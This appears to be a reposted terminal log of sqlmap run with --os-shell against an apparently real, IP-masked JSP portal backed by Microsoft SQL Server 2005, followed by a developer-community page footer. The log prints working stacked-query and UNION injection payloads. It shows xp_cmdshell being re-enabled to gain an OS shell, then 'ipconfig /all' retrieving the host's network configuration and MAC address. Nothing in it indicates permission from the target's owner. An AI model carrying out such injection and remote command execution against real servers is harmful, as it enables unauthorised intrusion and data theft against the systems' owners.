[email protected]:~$ sudo sqlmap -u "**.**.**.**:8080/ctop/portal/portal_info.jsp?id=1" --os-shell

sudo:/etc/sudoers.d/fruitywifi 属于用户 ID 1000,应为 0

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20150922}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://**.**.**.**

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:08:43

[14:08:43] [INFO] testing connection to the target URL

[14:08:48] [INFO] testing if the target URL is stable

[14:08:48] [INFO] target URL is stable

[14:08:48] [INFO] testing if GET parameter 'id' is dynamic

[14:08:49] [WARNING] GET parameter 'id' does not appear dynamic

[14:08:49] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

[14:08:50] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks

[14:08:50] [INFO] testing for SQL injection on GET parameter 'id'

[14:08:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[14:08:50] [WARNING] reflective value(s) found and filtering out

[14:08:55] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'

[14:08:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'

[14:08:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[14:09:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[14:09:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[14:09:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[14:09:06] [INFO] testing 'MySQL inline queries'

[14:09:06] [INFO] testing 'PostgreSQL inline queries'

[14:09:07] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[14:09:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'

[14:09:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'

[14:09:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[14:09:22] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable

it looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n]

[14:09:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[14:09:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[14:09:34] [INFO] target URL appears to be UNION injectable with 7 columns

[14:09:35] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:

---

Parameter: id (GET)

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=1;WAITFOR DELAY '0:0:5'--

Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(122)+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(104)+CHAR(86)+CHAR(88)+CHAR(69)+CHAR(112)+CHAR(118)+CHAR(84)+CHAR(86)+CHAR(115)+CHAR(75)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(113)+CHAR(113)--

---

[14:09:37] [INFO] testing Microsoft SQL Server

[14:09:37] [INFO] confirming Microsoft SQL Server

[14:09:39] [INFO] the back-end DBMS is Microsoft SQL Server

web application technology: JSP

back-end DBMS: Microsoft SQL Server 2005

[14:09:39] [INFO] testing if current user is DBA

[14:09:40] [INFO] checking if xp_cmdshell extended procedure is available, please wait..

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

[14:09:54] [INFO] xp_cmdshell re-enabled successfully

[14:09:55] [INFO] testing if xp_cmdshell extended procedure is usable

[14:09:55] [INFO] the SQL query used returns 1 entries

[14:09:56] [INFO] retrieved: 1

[14:09:56] [INFO] xp_cmdshell extended procedure is usable

[14:09:56] [INFO] going to use xp_cmdshell extended procedure for operating system command execution

[14:09:56] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> ipconfig /all

do you want to retrieve the command standard output? [Y/n/a]

[14:10:05] [INFO] the SQL query used returns 18 entries

[14:10:05] [INFO] retrieved: \\r

[14:10:05] [INFO] retrieved: Windows IP Configuration\\r

[14:10:06] [INFO] retrieved: \\r

[14:10:06] [INFO] retrieved: Host Name . . . . . . . . . . . . : oa\\r

[14:10:07] [INFO] retrieved: Primary Dns Suffix . . . . . . . : \\r

[14:10:07] [INFO] retrieved: Node Type . . . . . . . . . . . . : Unknown\\r

[14:10:08] [INFO] retrieved: IP Routing Enabled. . . . . . . . : No\\r

[14:10:08] [INFO] retrieved: WINS Proxy Enabled. . . . . . . . : No\\r

[14:10:08] [INFO] retrieved: \\r

[14:10:09] [INFO] retrieved: Ethernet adapter 本地连接:\\r

[14:10:09] [INFO] retrieved: \\r

[14:10:10] [INFO] retrieved: Connection-specific DNS Suffix . : \\r

[14:10:10] [INFO] retrieved: Description . . . . . . . . . . . : HP NC373i...

[14:10:11] [INFO] retrieved: Physical Address. . . . . . . . . : 00-1A-4B-...

[14:10:11] [INFO] retrieved: DHCP Enabled. . . . . . . . . . . : No\\r

[14:10:11] [INFO] retrieved: IP Address. . . . . . . . . . . . : 192.168.0...

[14:10:12] [INFO] retrieved: Subnet Mask . . . . . . . . . . . : 255.255.2...

[14:10:12] [INFO] retrieved: Default Gateway . . . . . . . . . : 192.168.0...

command standard output:

---

Windows IP Configuration

Host Name . . . . . . . . . . . . : oa

Primary Dns Suffix . . . . . . . :

Node Type . . . . . . . . . . . . : Unknown

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : HP NC373i Multifunction Gigabit Server Adapter

Physical Address. . . . . . . . . : 00-1A-4B-A8-10-6E

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : **.**.**.**

Subnet Mask . . . . . . . . . . . : **.**.**.**

Default Gateway . . . . . . . . . : **.**.**.**

---

os-shell>

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐